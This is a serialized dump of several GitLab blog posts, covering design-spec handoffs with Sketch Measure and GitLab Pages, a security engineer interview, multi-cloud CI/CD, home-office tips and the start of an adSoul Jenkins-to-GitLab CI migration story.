to developer, so that\npeople can focus on what they do best? Here’s how we’re doing it with a\ncombination of [Sketch Measure][sketch-measure] and [GitLab Pages][gl-pages].\n\n\u003C!-- more -->\n\nAlong the development, it’s natural that developers have questions and the\ndesigner should be there to answer them. A lot of these questions can be\nanswered by the design specs, which mainly include detailed instructions about\nvisual aspects, but can also have functional aspects. This guidance is a\ncrucial part of handing off a design for implementation. Without it, the\ndeveloper has to deal with a lot of guessing and manual work, which is not the\nideal workflow.\n\n## Our workflow at GitLab\n\n\n\nFor more than three years we have been using a specific workflow, made of open\nsource tools, to power our Sketch design handoffs. This workflow is how we\nhandoff designs to build not only our product but also the [Pajamas Design\nSystem](http://design.gitlab.com). In a nutshell, here's how that workflow\nusually happens:\n1. Use the [Sketch Measure][sketch-measure] plugin to generate specs from the\n   designs we have created in [Sketch](https://www.sketchapp.com) (our user\n   interface design software of choice).\n1. Commit design spec files to our [GitLab Design][gl-design] project on\n   GitLab.com, using Git.\n1. Once the files arrive on GitLab.com, GitLab's [continuous integration\n   (CI)][gl-ci] engine starts and triggers the [GitLab Pages][gl-pages]\n   feature.\n1. GitLab Pages then publishes an online [index page](https://gitlab-org.gitlab.io/gitlab-design) with all of the design specs.\n1. Designers can now easily share a URL with the design specs, that is always\n   up-to-date and that anyone can access.\n\nUsing this design handoff workflow we’ve been able to improve efficiency and\ncommunication between designers and developers. Having these tools in place and\ncontinously going with this workflow is one of our first steps towards\npracticing\n[DesignOps](https://medium.com/vmwaredesign/understanding-the-value-of-designops-e2477330a923):\n“principles and processes to assist designers in becoming more productive and\ncollaborative.” Arguably more about tooling and automation, this workflow also\nblends three other important pillars that make high-performance design teams:\nprocess, standardization, and collaboration.\n\n## Creating design specs\n\nThe first step in our design handoff workflow is getting our design specs,\nusing [Sketch Measure][sketch-measure]. Sketch Measure is a free, open source\nplugin for Sketch that automatically generates specs from your Sketch designs.\nWith one click, it outputs an HTML page that allows anyone to inspect all the\ndesign details, including CSS styles. This HTML page can be viewed online or\noffline, in all of the major browsers – [check out a\ndemo](https://utom.design/news/).\n\nYou can even add implementation notes to your design, so developers don’t have\nto look in different places for the information they need.\n\n![Example of an HTML page with the specs generated by Sketch Measure](https://about.gitlab.com/images/blogimages/how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster/sketch-measure-example.png){: .shadow.center}\nExample of an HTML page with the specs generated by Sketch Measure.\n{: .note.text-center}\n\nJust by using this plugin, we’re already saving money and time:\n\n- We save money on Sketch licenses because only designers need Sketch. For us\n  at GitLab, that means saving $3540 per year (we currently have around [60\n  people on the frontend team](/company/team/)).\n- We save time because developers don’t have to download Sketch, install\n  Sketch, learn Sketch, download files, open files, etc.\n- We save more time because designers and developers are now focused on doing\n  what they do best, instead of handling miscommunications or manually\n  marking/writing all of the specs.\n- And our developers can use their favorite operating system, no need to use\n  macOS or have a macOS virtual machine just to open Sketch files.\n\nOther tools also generate design specs from Sketch files, but we settled on\nSketch Measure because it’s free, open source, and allows us to save and\nversion control the design specs in GitLab. If you’re interested in\nalternatives to Sketch Measure, see\n[Marketch](https://github.com/tudou527/marketch) (a plugin similar to Sketch\nMeasure), [Abstract](https://www.abstract.com/),\n[Avocode](https://avocode.com/), [InVision\nInspect](https://www.invisionapp.com/feature/inspect),\n[Markly](https://marklyapp.com/), [Marvel](https://marvelapp.com/sketch/), or\n[Zeplin](https://zeplin.io/). In June 2019, [Sketch\nannounced](https://blog.sketchapp.com/sketch-for-teams-smart-layout-and-more-announcements-from-layers-eed45e3fa0fd)\nthat they’re “bringing an Inspector to Cloud, so you can grab code, view specs\nand download production ready assets, without having to open the Mac app,” so a\nSketch-native solution may be coming soon.\n\n## Sharing design specs with GitLab Pages\n\nNow that we have the design specs, the second step is getting the specs into\nthe developer’s hands. Wouldn’t it be great if you could just access a URL\nthat’s always up-to-date?\n\nEnter [GitLab Pages][gl-pages]. It’s a feature that creates static websites for\nyour GitLab projects, groups, or user account. You can use it for free on\nGitLab.com or [your own GitLab\ninstance](https://docs.gitlab.com/ee/administration/pages/). It supports any\nstatic website generator, but in our case, we just need it to host our simple\nHTML file with the design specs.\n\nIn our UX department, we use the Git repository of the [GitLab\nDesign][gl-design] project to store and host not only the design specs but also\neditable Sketch files. Every time someone adds or changes design specs in the\nGitLab design repository, the GitLab Pages feature updates the project’s\nwebsite automatically.\n\nThe automatic updates is possible thanks to a simple YML file in the repository\nthat gives instructions to our [continuous integration (CI)][gl-ci] feature,\nthe engine that powers GitLab Pages. In essence, that file tells CI to run\nGitLab Pages each time something is pushed into our default branch. If you’re\ninterested in how it works, we’ve added comments to the file that try to\nexplain it as simply as possible:\n[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-design/blob/master/.gitlab-ci.yml)\n\nThe final result is an [index page](https://gitlab-org.gitlab.io/gitlab-design)\nwith links to the different design specs that are generated, as seen in the\nimage below (feel free to explore). Since making this work for design specs,\nwe’ve also added support for [Framer prototypes](https://framer.com/) and plain\nHTML pages.\n\n![Screenshot of the GitLab Design index page](https://about.gitlab.com/images/blogimages/how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster/gitlab-design-index.png){: .shadow.center.medium}\n\nBy setting up GitLab Pages with GitLab CI, just push your specs to GitLab and\nthe rest is magic. The specs are available to anyone through a URL and are easy\nto share anywhere.\n\nFor us, this means more savings!\n- We save time on manually uploading design specs as these are automatically\n  taken care of by GitLab Pages each time our designers commit to the\n  repository.\n- We save time if something goes wrong with the design files or design specs\n  because we can go back in time and revert to a better past version.\n- And naturally, we save even more time as we all use GitLab for the whole\n  software development lifecycle. Instead of a bunch of ad-hoc tools from\n  different vendors, GitLab provides you everything you need in an integrated\n  product.\n\nHere are other cool things you can do with GitLab to make design handoffs even\nbetter:\n\n### Mention issues in commit messages for transparency\n\nBy mentioning the GitLab issue in the commit message, a note is created in the\nissue to let everyone know that the specs are available or have been updated\n([live example](https://gitlab.com/gitlab-org/gitlab/issues/13490#note_220761012)).\nThis also makes it easy for people looking at the issue to contribute and fork\nthe design (especially important if someone on the team is out-of-office), by\nfollowing the link to the commit. This [crosslinking\nfeature](https://docs.gitlab.com/ee/user/project/issues/crosslinking_issues.html#from-commit-messages)\nnot only supports issues but also epics and merge requests.\n\n![Example of an issue note linking to the referencing commit](https://about.gitlab.com/images/blogimages/how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster/commit-system-note.png){: .shadow.center}\n\nTo automatically mention issues in commit messages, we’ve created a\n[`prepare-commit-msg`](https://gitlab.com/gitlab-org/gitlab-design/blob/master/hooks/prepare-commit-msg)\nGit hook. Once the Git hook is installed in your local repository, every time\nyou commit, the hook will add the issues, epics, and merge requests IDs found\non the staged files (and their folders) to the commit message body. For\nexample, if a file or folder you’re committing contains `gitlab#1337-…` in its\nname, the commit message body will be appended with `gitlab#1337`, which\nreferences the project handle for\n[GitLab](https://gitlab.com/gitlab-org/gitlab) and its issue #1337.\n\n### Look at previous versions of specs\n\nIf you want, [GitLab’s CI][gl-ci] can save all versions of the design specs,\nusing [job\nartifacts](https://docs.gitlab.com/ee/ci/pipelines/job_artifacts.html).\nThis means you can go back in time and see what a previous version looked like\ninside of GitLab, without having to clone, revert, or download anything.\nEverything can be saved and viewed online. For example, here’s a [previous\nversion of our design specs index\npage](https://gitlab-org.gitlab.io/-/gitlab-design/-/jobs/299229231/artifacts/public/index.html),\nfrom September 2019, when Kyle updated some Sketch files and their specs ([CI\npipeline](https://gitlab.com/gitlab-org/gitlab-design/pipelines/83198578)).\n\nAlso, because Git is used for version control, you can browse the whole history\nof changes made. No change is ever lost.\n\n## Future improvements\n\nWe hope this automated way of doing design handoffs pushes our UX department to continue exploring the role of DesignOps at GitLab,\nnot only inside the company but also in the product itself.\n\nSpecifically about design specs, here are some things we are looking into:\n- [Make it easier to share links to design specs in\n  GitLab](https://gitlab.com/gitlab-org/gitlab/issues/32704).\n- [Improve the index page with sorting, filters, easy to copy URLs, and links\n  to issues/epics/merge requests](https://gitlab.com/gitlab-org/gitlab-design/issues/638).\n\nBecause GitLab’s CI is so awesome and flexible, we are even thinking about\nusing it to automatically update our SVG icons every time we update them in our\nSketch UI Kit\n([gitlab-svgs#1](https://gitlab.com/gitlab-org/gitlab-svgs/issues/1)).\n\nAs we mentioned earlier, we don’t use this design handoff workflow exclusively\nfor design specs. It’s the way our designers communicate _any kind of\ndeliverable_ with our developers. The deliverables can also be Framer\nprototypes or plain HTML pages. We hope that by sharing design handoff workflow\nwe can help you and your team also work better and faster!\n\nThanks to [Dimitrie Hoekstra](/company/team/#dimitrieh) for the initial setup\nthat allowed this workflow and [Alessio Caiazza](/company/team/#nolith), [Marin\nJankovski](/company/team/#marin), [Rémy Coutable](/company/team/#rymai), and\n[Juan J. Ramirez](/company/team/#jj-ramirez) for the continued technical\nsupport and keeping this [repository’s\nsuperpowers](https://gitlab.com/gitlab-org/gitlab-design/blob/master/CONTRIBUTING.md#superpowers-)\nawesome.\n\nIf you have any questions or suggestions, feel free to [post a comment\non the community forum](https://forum.gitlab.com/new-topic?tags=blog-feedback), [tweet at us](https://twitter.com/gitlab), or create an\nissue in the [GitLab Design][gl-design] project.\n\n",{"slug":26499,"featured":6,"template":678},"how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster","content:en-us:blog:how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster.yml","How Gitlab Pages Made Our Sketch Design Handoffs Easier And Faster","en-us/blog/how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster.yml","en-us/blog/how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster",{"_path":26505,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26506,"content":26512,"config":26516,"_id":26518,"_type":16,"title":26519,"_source":17,"_file":26520,"_stem":26521,"_extension":20},"/en-us/blog/the-security-tightrope",{"title":26507,"description":26508,"ogTitle":26507,"ogDescription":26508,"noIndex":6,"ogImage":26509,"ogUrl":26510,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26510,"schema":26511},"The security tightrope: balancing security with ease-of-use","How do you balance user experience with the friction that’s introduced when trying to keep something secure?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680866/Blog/Hero%20Images/architecture-boulder-city-cityscape-220759.jpg","https://about.gitlab.com/blog/the-security-tightrope","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The security tightrope: balancing security with ease-of-use\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-11-07\",\n      }",{"title":26507,"description":26508,"authors":26513,"heroImage":26509,"date":26496,"body":26514,"category":18484,"tags":26515},[12307],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\nWe sat down with GitLab security engineer Shawn Sichak to talk about the challenging act of balancing user experience (convenience!) with the friction that’s introduced when trying to keep something secure. \n\n![Shawn Sichak Headshot](https://about.gitlab.com/images/blogimages/ssichakbw.png){: .small.right.wrap-text} **Name:** Shawn Sichak\n\n**Title:** Security Engineer, Security Operations\n\n**How long have you been at GitLab?**: I joined October 2018\n\n**GitLab handle:** [@ssichak](https://gitlab.com/ssichak)\n\n**Connect with Shawn:** [LinkedIn](https://www.linkedin.com/in/shawnsichak) / [Twitter](https://twitter.com/shawnsichak/)\n\n\n\n#### Tell us what you do here at GitLab:\nAs part of the Security Operations team, I’m involved in events ranging from incident response and log analysis, to the development of tooling and automation to help contribute to and improve the security of the GitLab products and GitLab.com services.\n\n#### What’s the most challenging or rewarding aspect of your role? \nThere is a balancing act in security between user experience (convenience!) and the friction introduced while trying to keep something secure. Friction creates drag, and drag slows progress. You want to help keep people and the company as secure as possible without unnecessarily getting in their way or slowing down their work.\n\nI find that challenge incredibly interesting. When you are able to develop automation or other methods of enabling people to do the right (secure) thing by default, it’s a very rewarding feeling.\n\n#### And, what are the top 2-3 initiatives you’re currently focused on? \nSimilar to my colleague and fellow security engineer [Jayson Salazar's response](https://about.gitlab.com/2019/09/13/the-cloud-native-all-remote-security-challenge/), I’ve been working on developing and implementing new ideas and tooling around helping our team gain deeper visibility into more of the domains here at GitLab.\n\nWe are moving towards a more proactive approach to security response, where automation can help us perform actions in a consistent and repeatable manner, helping the Security team scale. We are laying the groundwork now for much bigger things to come by aggregating, analyzing, and alerting on many diverse data sources so that the outputs can then be fed into further automated response pipelines.\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend? \nIt’s pretty simple and common advice (so common that [Paul](/blog/ask-gitlab-security-paul-harrison/), [Alexander](/blog/ask-gitlab-security-alexander-dietrich/) and [Alex](https://medium.com/gitlab-magazine/how-we-use-automation-to-scale-up-security-at-gitlab-f8440574e0e4) cite it as their go-to security advice), but not heeded often enough:  utilize unique passwords per service and set up a password manager to help generate, store, and access them as needed. Also, enabling two-factor authentication (2FA) everywhere it is available. Every additional step you take to make it more difficult for an attacker will significantly decrease the chance of your accounts being compromised.\n\nBut I’d also recommend giving Bruce Schneier’s excellent [article](https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html) on ‘The Security Mindset’ a read. While the goal isn’t to give everyone a cynical view of the world, I think understanding the mindset and thought process from an attacker’s perspective can be incredibly beneficial while trying to keep yourself (and others!) secure.\n\n#### What is the most important emerging trend you see in security?  \nIt is refreshing to see security become less of a walled garden and more incorporated into other areas of software and systems development. Taking development techniques and best practices from software/systems engineering and integrating them into security workflows has already been producing some exciting new tooling and ideas (SOAR, [compliance-as-code](https://about.gitlab.com/2019/08/19/get-started-compliance-as-code/), etc).\n\nI think continued advancement in areas that better enable security teams to “scale” are going to be incredibly important. Whether that be through the use of automation or more actionable data; security teams are going to need to be creative to keep up with the pace of change/development and the ever growing amount of data to analyze.\n\n#### From the perspective of your role, what’s GitLab doing better than anyone else in terms of security? \n[Transparency](https://handbook.gitlab.com/handbook/values/#transparency) - it’s something not given much consideration when it comes to security in most organizations. Being transparent about issues and vulnerabilities (while still protecting our customers and services) allows the wider community visibility into how we handle security internally, but also enables contribution and promotes collaboration; ultimately strengthening our security.\n\nThere are obvious exceptions to the rule and not everything can be public, but I think that transparency in security is something that we as an industry should strive to do a better job at.\n\n#### Is there an area of security research you think deserves more attention? Why? \nI find the field of security in Industrial Control Systems fascinating. The intersection between cyber and physical systems presents its own set of unique challenges, and the stakes are so high, ranging from the integrity of public utilities to telecommunications entities.\n\n#### In the past decade, how has your area of expertise changed? \nLooking back - it’s been an interesting ride.\n\nI remember coming out of school still unsure if I wanted to pursue a career in hardware or software. I eventually narrowed the job search to two offers - designing robotics for a bottling facility or a software engineering position in telecommunications. Went the software path and never really looked back.\n\nSince then, I’ve moved from development to systems work to research, eventually settling in security which allows me the opportunity to work on a little bit of everything!\n\n## Now, for the questions you *really* want to have answered:\n\n\n\n#### VIM or EMACS? \nVIM - as they say, EMACS is a great operating system, lacking only a decent editor.\n\n#### You get one superpower, what is it? \nThe ability to always pick the fastest checkout line at the grocery store. I currently possess the opposite power.\n\n#### Is a hotdog a sandwich? \nI don’t like to talk about religion.\n\n#### You need pancakes. IHOP or local pancake shop? \nI really appreciate how accurately the first statement of this question describes most of my life. With that being said, mom and pop shop first, but I support all pancakes.\n\n\nPhoto by [Pixabay](https://www.pexels.com/@pixabay) from [Pexels](https://www.pexels.com).\n{: .note}",[674,676,674],{"slug":26517,"featured":6,"template":678},"the-security-tightrope","content:en-us:blog:the-security-tightrope.yml","The Security Tightrope","en-us/blog/the-security-tightrope.yml","en-us/blog/the-security-tightrope",{"_path":26523,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26524,"content":26530,"config":26535,"_id":26537,"_type":16,"title":26538,"_source":17,"_file":26539,"_stem":26540,"_extension":20},"/en-us/blog/gitlab-ci-cd-is-for-multi-cloud",{"title":26525,"description":26526,"ogTitle":26525,"ogDescription":26526,"noIndex":6,"ogImage":26527,"ogUrl":26528,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26528,"schema":26529},"GitLab CI/CD is for multi-cloud","Can cloud providers (and their tools) ever be cloud agnostic? We discuss GitHub Actions and GitLab CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678401/Blog/Hero%20Images/gitlab-for-multicloud.jpg","https://about.gitlab.com/blog/gitlab-ci-cd-is-for-multi-cloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab CI/CD is for multi-cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-11-06\",\n      }",{"title":26525,"description":26526,"authors":26531,"heroImage":26527,"date":26532,"body":26533,"category":8943,"tags":26534},[18462],"2019-11-06","\nAs organizations continue to go all-in on cloud-first strategies, optimizing their cloud architectures is becoming a top priority. It’s estimated that investments in infrastructure to support cloud computing account for [more than a third of all IT spending](https://www.zdnet.com/article/top-cloud-providers-2019-aws-microsoft-azure-google-cloud-ibm-makes-hybrid-move-salesforce-dominates-saas/). Using multiple cloud providers with multiple cloud services requires an architecture that enables workflow portability, and organizations will need an unbiased, multi-cloud strategy to make that a reality.\n\n## What is multi-cloud?\n\nMulti-cloud describes [how enterprises use multiple cloud providers to meet different technical or business requirements](https://www.zdnet.com/article/multicloud-everything-you-need-to-know-about-the-biggest-trend-in-cloud-computing/). At its core, multi-cloud is made possible through cloud-native applications built from containers using services from different cloud providers. It allows for multiple services to be managed in one architecture. [85% of enterprises currently operate in multiple clouds](https://www.ibm.com/blogs/cloud-computing/2018/10/19/survey-multicloud-management-tools/), but just because an organization uses multiple cloud providers doesn’t necessarily mean they are multi-cloud.\n\nBeing dependent on one cloud provider can limit the flexibility of an organization and leave it susceptible to vendor lock-in. Workflow portability is one of the benefits of multi-cloud and it enables a seamless workflow, regardless of _where_ you deploy.\n\nIn addition to workflow portability, there are several reasons why most businesses have adopted multi-cloud, and why more will continue to use this approach:\n\n*   **Greater flexibility**: Each cloud vendor shines in some areas and is weak in others. Using multiple vendors lets you use the right tool for the job.\n*   **Better acquisitions**: Whether an organization wants to grow through acquisitions (or be acquired itself), existing systems can work within another company’s infrastructure, even if both are using separate cloud providers.\n*   **Increased resilience**: Architecting failover between multiple cloud providers lets you stay up even if one of your vendors is down.\n*   **Improved cloud negotiations**: If another cloud vendor offers better terms or significant credits, businesses can have better leverage because their [DevOps processes](/topics/devops/) are not tied to vendor-specific services.\n*   **Fewer conflicts of interest**: With cloud service providers offering so many different services, you’re less likely to find yourself [in conflict with customers competing in those same spaces](https://www.cnbc.com/2017/06/21/wal-mart-is-reportedly-telling-its-tech-vendors-to-leave-amazons-cloud.html).\n\nA multi-cloud strategy allows organizations to use the tools and services that work best for the job, not just tools that work within their cloud environment.\n\n## Can cloud providers really support multi-cloud?\n\nCloud service providers continually compete with each other to provide more services to keep customers in their cloud. The more services you have with one CSP, the less likely you are to migrate those workloads. AWS offers 90 different services, as does GCP. In comparison, [Microsoft lists over 160 services on its Azure product page](https://www.parkmycloud.com/cloud-services-comparison/) and many of them are integrations with other Microsoft products. Cloud service providers want to have more of your business by making you more dependent on their specific services.\n\nEven though most cloud providers claim to support multi-cloud, migrating workloads out of their cloud isn’t in their best interest. As cloud computing is a pay-per-use model, it seems unlikely that multi-cloud would be a goal for the large cloud providers.\n\n## Implementing CI/CD in the cloud\n\nIn the [RightScale 2019 State of the Cloud Report](https://info.flexera.com/CM-REPORT-State-of-the-Cloud), 33% of respondents mentioned [implementing CI/CD](/topics/ci-cd/) in the cloud as a top cloud initiative. DevOps processes play a big role in multi-cloud deployments, so if organizations are wanting to build faster and deploy anywhere, CI/CD will be a key factor in that success. Multi-cloud is all about being cloud-agnostic, and your tools should also support that goal.\n\nBut what if your CI/CD comes from a cloud provider?\n\n### GitHub Actions and GitLab CI/CD\n\nIn 2018, [GitHub announced Actions](/blog/github-launch-continuous-integration/) with CI-like functionality built into a single application offering. The industry has shown us in the past year that single application functionality [is becoming a trend](/blog/built-in-ci-cd-version-control-secret/), and GitLab has been a part of that single application message since the beginning. Now that continuous integration has caught up with the importance of single application, we have to examine how both GitHub and GitLab fit into multi-cloud deployments.\n\nIn June 2018 [Microsoft acquired GitHub](/blog/microsoft-acquires-github/), which really affirmed the importance of software developers and modern DevOps. Developer tools have a high capacity for driving cloud usage because once you have your application code hosted, the natural next step is finding a place to deploy it. From a strategic standpoint, this acquisition made a lot of sense for Microsoft because they could use [GitHub’s popularity as a source code management tool as a springboard for greater Azure adoption](https://www.techrepublic.com/article/with-github-acquisition-microsoft-wants-to-make-azure-the-default-cloud-for-developers/).\n\nWhen we talk about multi-cloud in the CI/CD conversation, cloud-agnosticism kind of goes out the window when it comes to GitHub Actions. GitHub’s ubiquity in the SCM market means that millions of developers are using that platform, and it’s those users that [made GitHub such an appealing asset for Microsoft](/blog/microsoft-acquires-github/).\n\nGitLab, in comparison, is cloud-independent. When organizations use GitLab CI/CD, there is no conflict of interest in using one cloud provider over another. Being truly cloud-agnostic means that GitLab provides a complete [DevOps platform](/solutions/devops-platform/) that allows teams to have the same productivity metrics, the same governance, regardless of what cloud you use.\n\n“Choosing a cloud provider should depend on the company’s business objectives, it should not be constrained by technology, and GitLab wants to enable every one of our customers to have this freedom,” says [Sid Silbrandij](/company/team/#sytses), co-founder and CEO at GitLab.\n\n## Multi-cloud should mean any cloud\n\nBusinesses want to choose cloud providers for their inherent value and use the services that best meet their needs. In turn, we should expect our DevOps processes to support multi-cloud objectives. Partnering with cloud-agnostic vendors provides a consistent workflow across all clouds, and CI/CD will play a big role in the multi-cloud future.\n\nWe’d love for you to watch our webcast _Mastering your CI/CD_ so you can see for yourself how GitLab’s industry-leading CI/CD helps teams build, test, deploy, and monitor code on any cloud.\n\n[Watch the webcast](/competition/github/)\n{: .alert .alert-gitlab-purple .text-center}\n\nCover image by [Alexandre Chambon](https://unsplash.com/@goodspleen?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[110,1444,4103],{"slug":26536,"featured":6,"template":678},"gitlab-ci-cd-is-for-multi-cloud","content:en-us:blog:gitlab-ci-cd-is-for-multi-cloud.yml","Gitlab Ci Cd Is For Multi Cloud","en-us/blog/gitlab-ci-cd-is-for-multi-cloud.yml","en-us/blog/gitlab-ci-cd-is-for-multi-cloud",{"_path":26542,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26543,"content":26549,"config":26554,"_id":26556,"_type":16,"title":26544,"_source":17,"_file":26557,"_stem":26558,"_extension":20},"/en-us/blog/how-to-stay-productive-in-your-home-office",{"title":26544,"description":26545,"ogTitle":26544,"ogDescription":26545,"noIndex":6,"ogImage":26546,"ogUrl":26547,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26547,"schema":26548},"How To Stay Productive In Your Home Office","GitLab Developer Brandon Lyon shares his tips on setting up home offices for remote work.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679685/Blog/Hero%20Images/blog-bl-desk.jpg","https://about.gitlab.com/blog/how-to-stay-productive-in-your-home-office","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How To Stay Productive In Your Home Office\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brandon Lyon\"}],\n        \"datePublished\": \"2019-11-06\",\n      }",{"title":26544,"description":26545,"authors":26550,"heroImage":26546,"date":26532,"body":26552,"category":18484,"tags":26553},[26551],"Brandon Lyon","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nRemote work requires a special blend of detached discipline and solo mental fortitude in order to stay productive. Keep your focus and stay sharp with these tips. Make your dream a reality. Create your own schedule and cut out the commute.\n\n## Improve your environment\n\n> Focused work requires a focused space.\n\nWorking from your dining table or couch with a laptop doesn’t  always work well. You’ll want to choose a room which can be closed off from the rest of the house. Keep it presentable for remote conferencing or surprise video chats. Make sure there’s adequate room for you and your supplies and don’t skimp on equipment.\n\nOne great thing about working from home is that you can choose your own furniture. Don’t be afraid to invest in some quality pieces. You’ll be spending most of your time there, so be sure that it’s comfortable and functional. In addition to the obvious desk and chair, **every office should have a whiteboard, a cork board, sticky notes, and a bookcase.** Display some knick-knacks and cool gadgets just as you would in a corporate office, but keep the clutter to a minimum.\n\n## Obtain reliable tools\n\n> Make sure everything in your dedicated work space is reliable.\n\nBuy a battery backup. Ensure the room has plenty of outlets and chargers (you can never have too many). Get a good webcam with a noise-cancelling microphone for video chats and conference calls. Keep a local and offsite backup of computer files. Keep important documents in a fireproof and flood resistant safe. These are all things you should be doing anyway, but it’s important to take extra care when working from home.\n\nNetwork quality can have a huge impact on remote work. Buy a high-quality router. [Get decent cables](https://www.howtogeek.com/210326/not-all-ethernet-cables-are-equal-you-can-get-faster-lan-speeds-by-upgrading/) to go with that new router (old kinked or frayed cables can impact connection quality). [Optimize your wifi](https://broadbandnow.com/guides/optimize-wifi-network-faster-speeds). Take some time to implement [quality of service](https://www.pcworld.com/article/2689995/quality-of-service-explained-how-routers-with-strong-qos-make-better-home-networks.html) (QoS) rules in your router and prioritize your work computer over the rest of the household. Chances are your ISP’s DNS settings aren’t great either, so I suggest using a service like [1.1.1.1](https://1.1.1.1/dns/). Get at least one reliable and fast internet service provider. You should consider getting a second ISP as a redundant failover or to keep your work internet separate from your home internet.\n\n## Stay focused\n\n> Do whatever you can to protect yourself from distractions.\n\nKeep your cellphone on silent/vibrate, just like you would in a normal office environment. Family and friends are not lounging around at a regular office interrupting people, and you should communicate that you have similar expectations for your home office. Don’t keep any distracting personal media on your work computer since TV, movies, and video games can be tempting. Use the internet from your home office in the same way you would use it from a regular office. Don’t get distracted by memes or Facebook.\n\n## Separate work and home\n\n> Clear boundaries are essential.\n\nIt can be difficult even under normal circumstances to separate work from your home life. When working from a home office it’s even more challenging. There are small changes you can make to help manage that separation.\n\nWhen you’re in work mode you might use a *desktop* computer from a *standing* desk with the *curtains closed* while using *headphones*. When you’re not working, you could use a *tablet* from a *sitting* desk with the *curtains open* while using *speakers*. You can do a similar thing with software, using *different browsers* for work and personal tasks to maintain separation. Little things like this will go a long way in keeping you productive during work hours.\n\n## Stay sane\n\n> Do something outside before “going to“ work or “coming home“.\n\nBeing in the same place too long can contribute to cabin fever. Try doing something extra like exercising or visiting a cafe. Don’t forget to take breaks while working, your eyes and your back will thank you.\n\nIt’s easy to lose track of time when you’re working alone, so *set alarms for the start and end of your workday.* After the day is over make sure to step outside for a while. Take a walk or go out to dinner to decompress and change the scenery. Being at home on weekdays makes it even more important to leave the house on weekends, so make time to head to the park, to the beach, or check out a pub in the neighboring town.\n\n## Just another day at the office\n\nWhile working from home provides some additional freedoms that a traditional office does not, I recommend treating it much like a regular office. It takes a good toolset, professional environment, and discipline to stay productive and produce good work, whether or not you have a supervisor looking over your shoulder.\n",[3798],{"slug":26555,"featured":6,"template":678},"how-to-stay-productive-in-your-home-office","content:en-us:blog:how-to-stay-productive-in-your-home-office.yml","en-us/blog/how-to-stay-productive-in-your-home-office.yml","en-us/blog/how-to-stay-productive-in-your-home-office",{"_path":26560,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26561,"content":26567,"config":26572,"_id":26574,"_type":16,"title":26575,"_source":17,"_file":26576,"_stem":26577,"_extension":20},"/en-us/blog/adsoul-devops-transition-to-gitlab-ci",{"title":26562,"description":26563,"ogTitle":26562,"ogDescription":26563,"noIndex":6,"ogImage":26564,"ogUrl":26565,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26565,"schema":26566},"How adSoul transitioned to GitLab CI from Jenkins","adSoul, a marketing automation company, outlines a successful three-phase migration plan for moving to GitLab CI from Jenkins.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678442/Blog/Hero%20Images/londoncommit.png","https://about.gitlab.com/blog/adsoul-devops-transition-to-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How adSoul transitioned to GitLab CI from Jenkins\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brein Matturro\"}],\n        \"datePublished\": \"2019-11-05\",\n      }",{"title":26562,"description":26563,"authors":26568,"heroImage":26564,"date":26569,"body":26570,"category":734,"tags":26571},[24484],"2019-11-05","\nadSoul is a Germany-based data-driven online marketing company that aims to improve search engine advertising and scalability for businesses. The core of adSoul relies heavily on API interfaces and entity recognition to post keywords on Google and Bing with marketing automation. \n\nAt GitLab Commit London, [Philipp Westphalen](https://www.linkedin.com/in/philipp-westphalen-a83318188/), fullstack developer at adSoul and GitLab Hero, shares how the company transitioned from Jenkins to GiLab CI. adSoul is a startup company with five developers, and as Philipp says “We literally have no time for everything we need to do.” They were looking for a tool that requires less time-consuming maintanence, and with Jenkins the team found it hard to read their existing files. “Our Jenkins was not so stable at all and it was tough to change because it was managed by our provider,” Philipp says. Cost and visibility were also huge motivators in moving away from [Jenkins to Gitlab CI](/blog/docker-my-precious/).\n\n## GitLab migration in three phases\n\nPhase 1: Move the repository.\nThe [adSoul team](https://www.adsoul.com) used the GitHub Import by GitLab, but had setbacks with migrating their issues, so they created a GitHub open source issue migrator as a resolution. Following that, they modified scripts with the new origin by exchanging the GitHub API call with a GitLab API. “This was really easy and we had a stable build with our new repository, so we could move our product management to GitLab and not need GitHub anymore,” Philipp says.\n\nPhase 2: Migrate the CI/CD pipeline.\nThe team started to create a GitLab CI YAML and tried to do a simple ‘lift and shift,’ however their processes were more complicated than anticipated. Though this phase was time consuming, it became clear the team could move to phase three without hiccups. “Quick pro tip,” says Philipp. “If you’re running your own GitLab runners, increase the log limit if you have to debug your building step.” \n\nPhase 3: Improve the CI/CD pipeline.\nThe team thought about ways of building their software, so they split projects into steps. “Our idea was that one job does one thing perfectly. Each job is simple and everyone can modify it easily” 